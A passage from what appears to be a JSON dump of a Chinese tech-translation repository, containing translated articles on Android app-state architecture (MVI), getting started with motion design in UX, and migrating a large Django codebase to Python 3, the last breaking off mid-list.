}\n}\n```\n\n但是，哪里或者哪个是所谓的“模型”呢？是后台吗？当然不是，那个是业务逻辑。那是名单吗？也不是，那个只是我们的视图显示的一部分，跟加载指示器或错误信息一样。那么，到底哪个是“模型”呢？\n\n在我看来，这里应该有个“模型”类像下面这样：\n\n```\nclass PersonsModel {\n  // 在真实的应用中，属性是私有的\n  // 并且会有 getter 方法去获取他们\n  final boolean loading;\n  final List<Person> persons;\n  final Throwable error;\n\n  public(boolean loading, List<Person> persons, Throwable error){\n    this.loading = loading;\n    this.persons = persons;\n    this.error = error;\n  }\n}\n```\n\n然后，Presenter（提供器）可以像这样实现：\n\n```\nclass PersonsPresenter extends Presenter<PersonsView> {\n\n  public void load(){\n    getView().render( new PersonsModel(true, null, null) ); // 显示一个进度条\n\n    backend.loadPersons(new Callback(){\n      public void onSuccess(List<Person> persons){\n        getView().render( new PersonsModel(false, persons, null) ); // 显示一份人员名单\n      }\n\n      public void onError(Throwable error){\n          getView().render( new PersonsModel(false, null, error) ); // 显示一个错误信息\n      }\n    });\n  }\n}\n```\n\n现在，视图有一个模型可以显示在屏幕上。这并不是什么新的概念。Trygve Reenskaug 所定义的最原始的 MVC 有相近的概念：视图观察模型的改变。不幸的是，MVC 这个名词一直被误用于描述很多不同于 Reenskaug 在 1979 年所定义的模式。例如，后端开发者使用 MVC 架构，iOS 使用 VieController。但在 Android 里 MVC 到底意味着什么呢？Activity 是控制器吗？那么 ClickListener 是什么呢？如今，大家对于 MVC 这个名词有很大的误解并且被误用，已经曲解了 Reenskaug 的原意。让我们先不急着讨论 MVC，这可能会让我们偏离正轨。\n\n我们回到我最初的论点。一个“模型”解决了很多我们在安卓开发中常遇到并头疼的问题。\n\n1. 状态问题\n\n2. 屏幕方向的改变\n\n3. 返回栈导航\n\n4. 进程死亡\n\n5. 不可变的单向数据流\n\n6. 可调试且可复现的状态\n\n7. 易测性\n\n\n让我们一起讨论这几点问题，看看是在 MVP 和 MVVM 模式下，这些问题是如何用“传统”的实现来解决，最后“Model（模型）”是怎么帮助我们绕过通常的陷阱。\n\n## 1. 状态问题 ##\n\n响应式应用 － 真是一个时髦的词语。我用这个词来表达一个应用通过 UI 来响应状态的改变。啊，对，我们有另外一个词：“State（状态）”。什么是 “State” 呢？其实，通常我们把 “State” 描述为我们在屏幕上的所见，比如视图显示进度条时表示“正在加载的状态”。关键在于：我们的前端开发者趋于关注 UI。这并不一定是一件坏事因为最终用户是否会使用我们的应用是由 UI 的好坏决定，而这也决定了一个应用的成败。但是，看一下上面简单的 MVP 例子（没有用到 PersonsModel 的那个）。在这里，UI 的状态是与 Presenter（提供器）协作的，因为显示器会告诉视图需要显示什么。同样地，这也适用于 MVVM。在这篇博客里，我想要区别两种 MVVM 实现：第一种使用安卓的数据绑定，第二种使用 RxJava。在使用数据绑定的 MVVM 模式中，状态直接放在 ViewModel（视图模型）中：\n\n```\nclass PersonsViewModel {\n  ObservableBoolean loading;\n  // ……为了提高代码可读性，此处省略其他字段\n  public void load(){\n\n    loading.set(true);\n\n    backend.loadPersons(new Callback(){\n      public void onSuccess(List<Person> persons){\n      loading.set(false);\n      // ……其他类似人员名单的东西      \n      }\n\n      public void onError(Throwable error){\n        loading.set(false);\n        // ……其他类似错误信息的东西\n      }\n    });\n  }\n}\n```\n\n在使用 RxJava 的 MVVM 模式中，我们不使用数据绑定引擎，但是我们绑定 Observable 对象到视图里的 UI 部件上。\n\n```\nclass RxPersonsViewModel {\n  private PublishSubject<Boolean> loading;\n  private PublishSubject<List<Person> persons;\n  private PublishSubject loadPersonsCommand;\n\n  public RxPersonsViewModel(){\n    loadPersonsCommand.flatMap(ignored -> backend.loadPersons())\n      .doOnSubscribe(ignored -> loading.onNext(true))\n      .doOnTerminate(ignored -> loading.onNext(false))\n      .subscribe(persons)\n      // 也可能有其它不同的实现\n  }\n\n  // 在视图中订阅 (如 Activity / Fragment)\n  public Observable<Boolean> loading(){\n    return loading;\n  }\n\n  // 在视图中订阅 (如 Activity / Fragment)\n  public Observable<List<Person>> persons(){\n    return persons;\n  }\n\n  // 当这个行为被触发时（调用 onNext（）），我们加载人员名单\n  public PublishSubject loadPersonsCommand(){\n    return loadPersonsCommand;\n  }\n}\n```\n\n当然，这些代码片段并不完美。你的实现也可能看起来完全不同。然而重点在于，在 MVP 和 MVVM 模式下，状态是由 Presenter（提供器）或是 ViewModel（视图模型）驱动。\n\n我们由此可以发现：\n\n1. 业务逻辑有自己的状态，Presenter（提供器）（或是 ViewModel（视图模型））有自己的状态（并且你尝试同步业务逻辑和 Presenter（提供器）两者间的状态，使它们一致），并且 View（视图）可能也有自己的状态（比如，你直接在视图中设置了可见性，或者安卓本身在重建时从绑定中恢复状态）。\n\n2. Presenter（提供器）（或是 ViewModel（视图模型））有很多任意的输入（View (视图）触发一个动作，由 Presenter（提供器）处理）是可以的，但同时，Presenter（提供器）也有很多输出（或者说在 MVP 中 view.showLoading() 或 view.showError() 的输出方式，以及 ViewModel（视图模型）提供的多种 Observable 对象）。这就会导致\n当View（视图）,Presenter（提供器）和业务逻辑三者在不同线程工作时的状态冲突。\n\n[![](https://i.ytimg.com/vi_webp/zCwESjEpNdk/maxresdefault.webp)](https://www.youtube.com/embed/zCwESjEpNdk)\n\n最好的情况是，状态冲突只导致了一些可见的问题，例如同时显示了加载指示器（“加载状态”）和错误指示器（“错误状态”）：\n\n而在最坏的情况下，你会收到像 Crashlytics 这样的崩溃反馈工具的严重缺陷报告。并且你将无法重现它而很可能无法修复。\n\n但假如我们有且仅有一个，由下（业务逻辑饿）至上（视图）的可信状态来源呢？实际上，在这篇博客开头提到“Model（模型）”的时候，我们就已经看到了一个相似的概念。\n\n```\nclass PersonsModel {\n  // 在真实的应用中，属性是私有的\n  // 并且会有 getter 方法去获取他们\n  final boolean loading;\n  final List<Person> persons;\n  final Throwable error;\n\n  public(boolean loading, List<Person> persons, Throwable error){\n    this.loading = loading;\n    this.persons = persons;\n    this.error = error;\n  }\n}\n```\n\n猜猜怎么着？**模型反应状态**。一旦我们理解了这个，我们就可以解决（同时也可以从源头上避免）很多和状态相关的问题，并且，我的 Presenter（提供器）只有一个输出：**getView().render(PersonsModel)**。这个反应了一个简单的数学函数, **f(x) = y**（也可能是由多个输入的函数的如 f(a,b,c)，但只有一个输出）。可能不是每个人都喜欢数学，但是数学家不知道这样的代码缺陷在哪里，而软件工程师知道。\n\n理解“Model（模型）”并知道如何正确实现它是非常关键的，因为 Model（模型）最后可以解决“状态问题”。\n\n## 2. 屏幕方向的改变 ##\n\n在安卓中，屏幕方向改变是一个具有挑战性的问题。最简单的方法是忽略它，在每次屏幕方向改变的时候重新加载所有东西。这绝对是一个有效的解决方法。大多数情况下，你的应用也离线工作，所以数据从本地数据库或者其他本地缓存而来。所以，当屏幕方向改变后，加载数据非常快。但是，我个人不喜欢看到加载指示器，尽管它只显示几毫秒，因为我认为这不是流畅的用户体验。所以人们（包括我自己）开始使用保留提供器（Presenter）的MVP。即使视图（View）在屏幕方向改变时被分离（和销毁），然而提供器（Presenter）还在内存中，视图（View）可以重新被附着到Presenter上。\n\n同样的概念适用于使用 RxJava 的 MVVM 模式，但是我们要记住，一旦 View（视图）取消订阅 ViewModel（视图模型），可观察的流就会被销毁。你可以对这个主题做些功课作为例子。在使用数据绑定的 MVVM 模式中，ViewModel（视图模型）是通过数据绑定引擎直接绑定在 View（视图）上的。为了避免内存泄漏，我们必须在屏幕方向变化时销毁 ViewModel（视图模型）。\n\n但是，保留 Presenter（提供器） (或 ViewModel（视图模型）)却有个问题：我们如何在屏幕方向变化之前同步视图的状态，使 View（视图）and Presenter (提供器）状态一致。我写了一个 MVP 库叫 [Mosby](https://github.com/sockeqwe/mosby)。它有一个名为 ViewState 的功能，可以使你的业务逻辑与视图状态同步。[Moxy](https://github.com/Arello-Mobile/Moxy) 是另外一个 MVP 库，实现了一种很有趣的方式：通过使用commands（命令）来重现屏幕旋转后视图的状态。\n\n![moxy](http://hannesdorfmann.com/images/mvi-mosby3/moxy.gif)\n\n图片源自 https://github.com/Arello-Mobile/Moxy\n\n我非常确定有其它的方法可以解决视图的状态问题。我们退一步总结那些库想要解决的问题：他们想要解决我们已经讨论过的状态问题。\n\n所以，再一次，用一个“Model（模型）”来反映当前的“状态”，并且用一个方法来“显示” “Model（模型）”解决了这个问题，这跟调用**getView().render(PersonsModel)** 一样简单（当把 View（视图）重新附在 Presenter（提供器）上时使用最近一次的模型）。\n\n## 3. 返回栈导航 ##\n\n当视图不再被使用以后，Presenter（提供器）(或 ViewModel（视图模型）)需要被保留吗？举个例子，如果 Fragment(视图) 已经被另外一个 Fragment 替换因为用户已经导航到别的屏幕上了，那么 Presenter（提供器）就没有视图附着在上面了。如果没有视图附着，显然地，Presenter（提供器）并不能更新来自业务逻辑最新的数据。但如果用户回来会怎么样呢？（即按下返回按钮弹出返回栈）重新加载数据或者重用当前的Presenter（提供器）？这更像是个哲学问题。通常来说，一旦用户返回到前一个屏幕（弹出返回栈），他希望从他离开的地方继续操作。这就是在2中讨论的“恢复视图状态问题”。所以，这个解决方案非常直截了当：使用一个 “Model（模型）”来表示状态，当我们从返回栈回来时，我们只要调用 **getView().render(PersonsModel)** 展示视图。\n\n## 4. 进程死亡 ##\n\n我觉得这是一个安卓开发中的误区：进程死亡是一件坏事情，而且在进程死亡后我们需要库来帮助我们恢复状态（还有 Presenters（提供器） 或者  ViewModels（视图模型））。首先，进程死亡的原因只有一个：安卓运行系统需要提供更多的资源给别的应用或为了节省电量。但是当你的应用在前台运行并且被应用用户使用，这将不会发生。所以，不要试图与平台的规则抗争了。如果你真的有一些需要长时间在后台运行的工作，用 **Service**。因为它是唯一的途径，告诉运行系统你的应用还需要“使用”。\n\n如果进程死亡发生了，安卓会提供一些回调类似 **onSaveInstanceState()** 保存状态。这里又提到状态了。我们应不应该把视图信息保存到 Bundle 里？同样，Presenter（提供器）有没有它自己的状态需要我们保存到 Bundle 里的呢？那业务逻辑状态呢？我们已经了解到：正如在第1，第2和第3点中形容的，我们只需要一个模型累来反映整个状态。这样的话，保存模型到 Bundle 里以及之后恢复它就会很简单了。\n\n但是，我个人认为，大多数时候，重载整个屏幕就像打开第一个应用一样比保存状态更好。试想，NewsReader 应用展示了新闻列表。当我们的应用被杀掉而我们保存了状态。6个小时后用户重新打开我们的应用，状态恢复，我们的应用可能显示的是过时的内容。在这种情境下，不保存模型／状态，而只是重新加载数据也许更合适。\n\n## 5. 不可变的单向数据流 ##\n\n我不准备讲不可变性的优势，因为已经有太多[资源](https://www.quora.com/What-are-the-advantages-and-disadvantages-of-immutable-data-structures)是讨论这个话题的。我们想要不可变的模型（展示状态）。为什么？因为我们想要单一的信息源。我们不希望应用的其它部件在我们传递模型对象的时候修改我们的模型／状态。让我们想象一下，我们准备写一个“计数器”安卓应用。它有增加和减少两个按钮，并且能在 TextView 中显示当前计数器的值。如果我们的模型（在这个例子中是计数器的值－一个整型数）是不可变的，我们怎么改变计数器呢？这个问题问得好。我们并不通过每一次按钮单击直接操控 TextView。观察到：第一，我们的视图应该有 **view.render(…)** 方法。第二，我们的模型是不可变的，所以模型不可能直接被改变。第三，只有一个可信源：业务逻辑。我们让单击事件降低到业务逻辑里。业务逻辑知道当前的模型（也就是有一个当前模型的私有字段）并且会创造一个有增长／降低的数字的新模型。\n\n![Counter](http://hannesdorfmann.com/images/mvi-mosby3/counter.png)\n\n这样我们就建立起了一个单向数据流，而业务逻辑就是这个单一可信源。它创建了不可变的模型实例。但是这看起来对一个简单的计数器过于复杂了。是的，计数器不过是一个简单的应用。大部分的应用从简单开始，但是很快就会变得复杂。我认为单一的数据流河不可变的模型是非常必要的，甚至是对一个简单的应用。它能保证应用在复杂度增长时维持简单（从开发者的角度看）。\n\n## 6. 可调试且可复现的状态 ##\n\n另外，单一的数据流让我们的应用易于调试。下一次，当我们从 Crashlytics 拿到一个崩溃日志，我们能简单复现并修复问题，因为所有需要的信息都附在崩溃日志上，这不是很棒吗？当然，我们所需要的所有信息是当前的模型和用户造成崩溃的行为（也就是单击减少按钮）。这些就是我们复现崩溃所需要的所有东西。而且，那些信息非常容易记录到崩溃日志中。如果不是单一数据流（比如，有人误用 EventBugs 并且把 CounterModels 传得到处都是）和不可变性（我们将没办法确定到底是谁修改了模型），就不会那么简单。\n\n## 7. 易测性 ##\n\n\n“传统的” MVP 或者 MVVM 改进了应用的易测性。MVC 也是可测的：从来没有人说过我们需要把所有的业务逻辑放进 activity。通过用模型反映状态，我们可以简化单元测试代码，因为只需要检查 **assertEquals(expectedModel, model)**。这消除了很多我们本来需要模拟的对象。另外，这样就移除了很多调用 **Mockito.verify(view, times(1)).showFoo()** 方法的验证测试。最后，测试代码的可读性会更高，也更容易理解和维护，因为我们不需要处理真实代码里的实现细节。\n\n# 结论 #\n\n这一系列博客的第一部分我们讨论了很多理论的东西。我们真的需要一个博客专门说模型吗？我觉得理解模型是非常重要和基本的，它能帮助我们避免难对付的问题。模型并不等于业务逻辑。而是业务逻辑（也就是应用里的用例）生产模型。在第二部分，当我们最后构建好 Model-View-Intent（模型-视图-意图模型）模式的响应式应用后，我们可以看到理论上的模型是怎么实现的。我们马上要构建的示例应用是一个虚拟线上商店。关于你在第二部分想知道的东西，这里有一个短的预告片。敬请期待。\n\n[![](https://i.ytimg.com/vi_webp/rmR9mV1Dsqk/maxresdefault.webp)](https://www.youtube.com/embed/rmR9mV1Dsqk)\n"
  },
  {
    "path": "TODO/motion-in-ux-design-9-points-to-get-started.md",
    "content": "> * 原文地址：[Get started with motion design in 9 steps: Start breathing life into your creations](https://uxdesign.cc/motion-in-ux-design-9-points-to-get-started-e891974dc7ee?ref=uxdesignweekly)\n> * 原文作者：[Arpit Agarwal](https://uxdesign.cc/@agarwalarpit?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/motion-in-ux-design-9-points-to-get-started.md](https://github.com/xitu/gold-miner/blob/master/TODO/motion-in-ux-design-9-points-to-get-started.md)\n> * 译者：[reid3290](https://github.com/reid3290)\n> * 校对者：[Starriers](https://github.com/Starriers)，[Xekin-FE](https://github.com/Xekin-FE)\n\n# 开始设计动画的九个步骤\n\n## 为作品赋予生命力\n\n![](https://cdn-images-1.medium.com/max/600/1*18NR2HSMnRsf5WBA-zJ23w.gif)\n\n动画创造生命\n\n**动画意味着充沛的活力与激情**，它给静止的事物以生命。在软件应用中，动画不仅是为了取悦人们，而更是为了解决问题。\n\n作为人类，我们习惯于世界围绕着我们运转；如果软件的每一部分也都能有着连贯的动画，那就会让人感到自然而又充满活力。\n\n科技行业领导者不断推动其产品朝着更为自然的方向发展，诸如动画设计、动画用户体验、用户体验编排等复杂的概念日趋流行。\n\n> 请记住：动画就像布局、间距、排印和颜色一样，能在潜意识中构建你应用软件的**个性**。\n\n不知你是否留意过，当在 iPhone 中将某个东西滑动到最顶端或最底端时，它就会出现一种回弹效果。这些细节看似微不足道，却在构建苹果产品的个性上发挥了举足轻重的作用。\n\n### 酷，让我们开始使用动画吧\n\n![](https://cdn-images-1.medium.com/max/800/1*WVO2fUsifiXktIOaradZGQ.gif)\n\n### **1. 开始观察**\n\n学会关注动画：如果你不能够觉察到事物的移动，也就无法创造出动画。在使用你最喜爱的应用程序时，观察屏幕上的东西是如何移动的；反复观察，注意细节，找出它令你喜欢的原因。留意所有发生变化的元素——形状、尺寸、位置、颜色等等。无论变化是小是大，努力找出动画在整个构图中所起到的作用。\n\n### **2. 动画不仅是一层颜色**\n\n动画揭示了一种更深层的意义：作为一名创造者，你必须从一开始就有意识地将动画考虑在内。在设计阶段，为原型添加动画使其具有时间上的维度；在开发阶段，将代码模块化从而更简便地实现 UI 中的动画。[有关模块化参见](https://medium.com/@acyoo/architecting-ios-development-at-zomato-cf894a7fa5e3)\n\n> 提示：谨慎思考产品的动画特点，这将为产品赋予一种角色，并且能够帮助你从更深的层面上理解你所想要构建的东西。\n\n![](https://cdn-images-1.medium.com/max/800/1*t3dqGWRLsL_QGSkaUSic0w.gif)\n\n### **3**. 在何处引入动画？\n\n![](https://cdn-images-1.medium.com/max/600/1*Pmk25Ep7BAtivcKkVcmbCA.gif)\n\n但是要在哪里引入动画呢？\n\n简单的例子有，当**屏幕正在变化时**、当**用户正在与界面元素交互时**或者当**用户不得不等待时**。\n\n### **4**. 动画分类\n\n你可以将产品中的动画分为三类：**切换**（内容变化/页面切换）、**微观互动**（例如推特的点赞按钮）、**图形动画**（例如 Zomato 的购物 App 的启动界面上跳跃的小摩托车）。\n\n![](https://cdn-images-1.medium.com/max/800/1*aP_ns6KdA_kvb3csJEZTEg.gif)\n\n动画分类\n\n### **5**. 用动画提供**空间信息**\n\n![](https://cdn-images-1.medium.com/max/600/1*z9j3rcz8ER5DQF_3mUd4HA.gif)\n\n动画能够传达空间信息\n\n如果某个 UI 元素从屏幕的右侧进入，用户心理上会将那个元素的放在右边。例如，如果一个汉堡菜单按钮处于屏幕的左上角，那么该菜单的入场动画就一定要从屏幕左侧开始。将动画展示给他人观看并听取他们的意见，从而确定动画所传达的空间信息是否准确。这是避免困惑的最简单方法。\n\n### **6. 开始理解像持续时间、时间曲线、动画路径、初值和终值等概念的含义**\n\n这些参数从技术层面上构成了动画。使用这些参数并熟练掌控它们，一旦你能够控制这些参数，你就能够创造出杰出的动画作品。在 UI 方面，[谷歌提供了一些很好的指导资料](https://material.io/guidelines/motion/material-motion.html)。\n\n![](https://cdn-images-1.medium.com/max/800/1*gyD2I6o6-OPu3_rbtaEQkQ.gif)\n\n学习动画参数——这两个箱子的动画除了时间曲线之外其它参数全部一样，请探究其中奥妙\n\n### 7. 绝不能让用户在某个流程的中间等待\n\n![](https://cdn-images-1.medium.com/max/600/1*QHIpIqZwA_lq_bOV9Z2kjQ.gif)\n\n绝不能为了等待动画完成而在某个流程中间故意放慢速度。如果必须要用户等待，那就用一些有意义的动画来达到娱乐的效果。请记住，在任何何时动画都是用来解决问题的。加载动画的存在是有其合理性的。此外，不要在软件中滥用动画，软件不是电影！\n\n> 专家提示：**保持动画的微妙性并使之与产品故事线相吻合能带来愉悦的用户体验**。\n\n### 8. **相关工具**\n\nLottie，Adobe Animate CC，After Effects，Sketch2AE，Framer，Origami，Animatic App，UIDynamics(iOS) 等工具都可以用来做动画设计，不妨一试。\n\n我会建议使用**纸和笔**来完成构思，之后再使用其他数字化软件。比如在这篇文章中的动画中，我就是先用 [Animatic App](https://animatic.io/) 画的草图。一份完好的草稿会使后续的工作显得简单而明确。\n\n![](https://cdn-images-1.medium.com/max/800/1*DbUs1gsNLdXaqgn4v8kqEw.gif)\n\n从笔和纸开始\n\n### 9. 捕捉并保存你觉得有趣的动画\n\n![](https://cdn-images-1.medium.com/max/600/1*FUBjAjXYGcD-Jy3MpxLxkw.gif)\n\n保存你觉得有趣的动画。放慢速度，反复观察，理解元素的运动机制。通过模仿来进行学习。我的 Mac 里存满了我觉得有趣的 GIF。你也可以在 [dribbble](https://dribbble.com/shots?list=animated) 上保存 GIF。另外，[Giphy Capture](https://giphy.com/apps/giphycapture) 是在 Mac 屏幕上捕捉和记录动画的优秀工具。\n\n![](https://cdn-images-1.medium.com/max/800/1*CSqaOB0Tel9HiyzPsttAAA.gif)\n\n无所畏惧\n\n### 💥 额外福利——对恐惧说再见\n\n还畏惧开始吗？坐下，放松，吃些甜点，放首音乐。关上手机，将纸笔放在身旁。或许可以小憩一会，尽量让自己感到舒适自在。取白纸一张，拿起笔来，随意涂写。再取一张白纸，继续涂写着，线条、形状、故事。放空自己，感受笔尖的移动。开始，一切只需要开始，看它带你去向何方。\n\n> 比画画更难的是开始动笔。一旦你开始在白纸上动笔，无论你画出了什么，你便具有了创造力。\n\n* * *\n\n**感谢阅读！**\n\n请欣赏一些我的动画作品——\n\n- [**我的动画墙**：我做的一些 GIF 及其相关故事。medium.com](https://medium.com/@agarwalarpit/hand-drawn-animations-74c4c61f9298)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/moving-a-large-and-old-codebase-to-python3.md",
    "content": "> * 原文地址：[Moving a large and old codebase to Python3](https://medium.com/@boxed/moving-a-large-and-old-codebase-to-python3-33a5a13f8c99)\n> * 原文作者：[Anders Hovmöller](https://medium.com/@boxed?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/moving-a-large-and-old-codebase-to-python3.md](https://github.com/xitu/gold-miner/blob/master/TODO/moving-a-large-and-old-codebase-to-python3.md)\n> * 译者：[Starriers](https://github.com/Starriers)\n> * 校对者：[LynnShaw](https://github.com/LynnShaw),[steinliber](https://github.com/steinliber)\n\n# 将一个旧的大型项目迁移到 Python 3\n\n一年半前，我们就决定使用 Python 3 了。我们已经讨论了很长时间，现在是时候使用了！现在这个过程已经结束了，我们已经把生产环境的最后部署都迁移到了 Python 3\n\n*   整个代码库大约有 240 k 行，不包括空行和注解。\n*   这是一个基于 Web 的批处理任务系统。并且只有一个生产，部署环境。\n*   代码库大约有 15 年的历史了。\n*   虽然这是一个 Django 应用程序，但部分代码是先于 Django 公布之前写的。\n\n关于修改 Python 3 的一些基本统计数据，是基于对 git 提交历史的粗略过滤产生的：\n\n*   275 次提交\n*   4080 次添加代码行\n*   3432  次删除代码行\n\n我发现有 109 个 jira 问题与这个项目相关。\n\n### Py2 → six → py3\n\n我们的理念一直是 py2 ￫py2/py3 ￫ py3  因为我们实在无法在实际生产中实现巨变，这种直觉也以令人惊讶的方式被证明是正确的。这意味着 [2 到 3](https://docs.python.org/2/library/2to3.html) 是不可能的，我认为这很常见。我们尝试过使用 2 to 3 来检测 Python 3 的兼容性问题，但很快这也被发现无法成立。基本上，这样的更改意味着在 Python 2 中的代码将被破坏。这样的改变不可行。\n\n结论是使用 [six](http://six.readthedocs.io), 这是一个库，可以方便的构建一个在 Python 2 和 3 中都有效的代码库。\n\n首当其冲的就是更新之前的依赖关系。这项工作需要立刻启动，因为之后会有更多的内容要更新。\n\n### 现代化\n\n[Python-modernize](https://python-modernize.readthedocs.io) 是我们选择进行迁移的工具。它是一个可以自动将 Py 2 代码库转换为可兼容 six 代码库的工具。我们首先引入一个测试，作为 CI 的一部分，来检查基于 modernize 的新代码是否已经准备好兼容 py3 了。这样做最大的效果的是让那些仍使用 Py 2 语法的人意识到新的处理方法，但这显然对将现有的 240 k 行代码转化到 six 作用不大。我们都有使用旧语法的坏习惯，这可以说是教学上的成功了，即使它对代码行的计数没有什么不同，它也被我们用于实验分支：\n\n#### 实验分支\n\n我新建了一个名为“Python 3 ”的分支，并做了以下操作：\n\n*  在整个代码库上运行“python-modernize -n -w” 。它会在合适的地方修改代码。我经常做完这步后没有进行第一次提交就开始修复代码。这个错误步骤总是让我后悔，不止一次地迫使我重新开始做整件事情。即使这个阶段出错，最好还是先把它提交。因此将机器和人要做的事情分开显得尤为重要。\n*  将所有用于函数体的依赖项导入到我们还没有修复的 py3。\n\n这里的想法是“run ahead”，即看看如果我们没有使用过时的依赖项，我们会遇到什么问题。这个分支允许我在超级中断状态下可以非常快速地启动应用程序，至少可以运行一些单元测试。 这个分支有很大的不同，但我还是找到了把它应用在适当场景的方法。我使用优秀的 GitUp 来拆分、组合和提交。当一个提交看起来不错的时候，我会把它挑选到一个新的分支，然后发给代码审查。\n\n没有人可以在这个分支上工作，因为它被不断地 rebase ，强制推送，滥用，但是它确实让项目向前推进了，而不用等待所有的依赖项被更新。我强烈推荐使用这种方法！\n\n### 静态分析\n\n我们添加了预提交钩子，所以如果您编辑了一个文件，就会收到建议将 Python 3 全部进行 modernize 更新的提示。\n\n `quote_plus`  的手动静态分析： 在处理 quote_plus 和 six 上有一些细微差别。最后，我们创建了自己的包装器，默认代码强制执行使用这个包装器，而不是使用标准库中的包装器，也不使用 six 中包装器。我们还静态检查了您从未给 quote_plus 发送过的字节。\n\n我们修复了每个 diango 应用程序中所有的 python 3 问题，并在 CI 环境中使用一个白名单强制执行了这一点，所以您无法破坏一个曾经修复过的应用程序。\n\n### 依赖\n\n对于我们来说，解决依赖是最困难的部分。我们有很多依赖，所以花了很多时间，其中有两个依赖关系比较棘手：\n\n*   splunk-lib. 我们依赖于 splunk，但是直到今天，他们仍然忽略所有[要求为客户端增加 py3 兼容性的愤怒的客户](https://github.com/splunk/splunk-sdk-python/issues/91)。我们团队中的一个人 [最后自己亲自动手来解决这个问题](https://github.com/tltx/splunk-sdk-python/)。Splunk 处理得真的很糟糕，它甚至把这个评论区的这个问题锁上了！这简直让人无法接受。\n*   Cassandra. 我们的整个产品都在使用这个数据库，但是我们使用了一个有以前 API 模块的旧的驱动程序。对于我们来说，py3 的迁移过程中，这占据了很大的一部分，因此我们必须逐段重写所有的这些代码。\n\n### 测试\n\n我们的代码测试覆盖率大约有 65% 包括：单元、集成, 以及 UI 合并。 我们确实编写了更多的测试，但总体数量并没有发生太大的变化。考虑将覆盖率从 65% 提高到 66% ，意味着编写将近2000 行代码的测试，这一点也不奇怪。\n\n我们必须跳过需要 Cassandra 的测试，同时修复这个依赖项。 我发明了一个有趣的小 hack 来使它发挥作用， [并写了这方面的文章](https://medium.com/@boxed/use-the-biggest-hammer-8425e4c71882).\n\n### 代码更改\n\n关于代码更改的说明，在如何将 py2 迁移到  six 的文档中并未提及 (也许是我们错过了)：\n\n#### StringIO\n\n我们在代码中大量使用 StringIO 。第一反应就是使用 six。但对于 StringIO 来说，这在几乎所有情况下 (但不是全部!)都被证明是错。基本上，我们必须非常仔细地考虑每一个我们使用 StringIO 的地方，并试图弄清楚我们是否应该用 io.StringIO, io.BytesIO 或者 six.StringIO 来替代它。这里犯错的表现通常为看起来像兼容 py3 的代码准备好了，在 py2 中可以正常运行，却实际上在 py3 中是失效的。\n\n#### 从  __future__  中导入unicode_literals\n\n这是一件好坏参半的事情。您可以通过将它添加到许多文件中来发现 bug，但是有时会在 py2 中引入 bug。 当日志突然在奇怪的地方，比如在字符串前写\"u\"时，它也会变得令人困扰。总的来说，这显然不是我所期望的效果。\n\n#### str/bytes/unicode\n\n这在很大程度上是您所期望的。我感到惊讶的是，在 py2 和 py3 中需要 str 。如果将来您使用 unicode_literals 导入，那么一些字符串需要从 `'foo'` 修改为 `str('foo')`。\n\n#### six.moves\n\nsix.moves 的实现是一个非常奇怪的黑客行为，因此它不像它假装的普通 Python 模块那样运行。 我也不同意他们在 six.moves 中不包含 `mock` 的选择。我们必须使用他们的 API 来自己添加它，但这让我们很难开始工作，而且它要求我们将  `from mock import patch`  改为  `from six.moves import mock` 这也意味着 `patch` 现在变成了 `mock.patch` 。\n\n#### CSV 的解析是不同的\n\n如果你使用 csv 模块，你需要了解 csv342。在我看来，这应该是 six 的一部分。否则就意味着你没有意识到有问题。不过我们在许多地方都没有使用 csv342，所以您这里要做的工作可能会有所不同。\n\n### 发布顺序\n\n我们首先进行测试：\n\n*   在 CI 中进行单元测试\n*   在 CI 中进行集成和UI测试（不包括 Cassandra）\n*   在 CI 中进行 Cassandra 测试 (这要晚于之前的步骤!)\n\n接下来就是产品本身了。我们建立一台拥有能一次性切换到 py3 的能力的批处理机器，并且至关重要地是将其切换回来。当在 py3 上发生中断时，这一点就显得很重要了。这对我们来说是很好的，因为我们可以重新排队那些中断的任务，但是我们不能中断太多或者任何实际上是很关键的任务。我们使用 Sentry 来收集奔溃日志，所以很容易查看迁移到 py3 时遇到的所有问题，而且当我们修复了所有的问题时，我们需要再次迁移到 py3，直到我们得到一些问题，如此反复。\n\n我们有如下环境：\n\n*   Devtest: 开发人员在内部使用，所以大多数情况下，这只是用来测试数据库迁移。这个环境非常容易使用，所以这里不经常出问题。\n*   IAT (内部验收测试)：用于验证更改，并在我们将更改推送到生产之前执行回归测试。\n*   UAT (用户接受度测试): 客户可以访问的测试环境。用于需要准备客户系统的变更，或者让客户在上线前查看变更。这个环境在数据库迁移前几天才会迁移。\n*   生产环境\n\n我们按照以下顺序将 Python 3 发布到这些环境中：\n\n*   Devtest 环境\n*   短期 IAT 环境\n*   长期 IAT 环境\n*   一台短期的批处理生产机器\n*   在工作期间使用的一台批处理生产机器\n*   生产 SFTP\n*   占一半生产的批处理机器\n*   生产批次\n*   生产 Web (在测试环境的长时间手动测试运行之后)\n*   生产负载机器。这是批处理的一个特殊子集。它完成了我们产品中 CUP 和内存最多的部分。\n\n负载机器暴露了与 Python 3 不兼容的客户数据配置，因此我们必须在 Python 2 中实现对这些情况的警告，并确保再次打开 Python 3 之前已经修复了它们。这花了几天时间，因为我们每天都会收到客户数据，所以每次都会有一个警告，这又让我们不得不再等一天。\n\n### 生产中的惊喜\n\n*   `'ß'.upper()` 在 py2 中是  `'ß'`  但是在 py3 中是  `'SS'` 。当产品的最后一部分迁移到 py3 时，最终导致了产品的崩溃！\n*   在 py2 中对不同类型的对象进行比较和排序是有效的，但这隐藏了大量的 bug 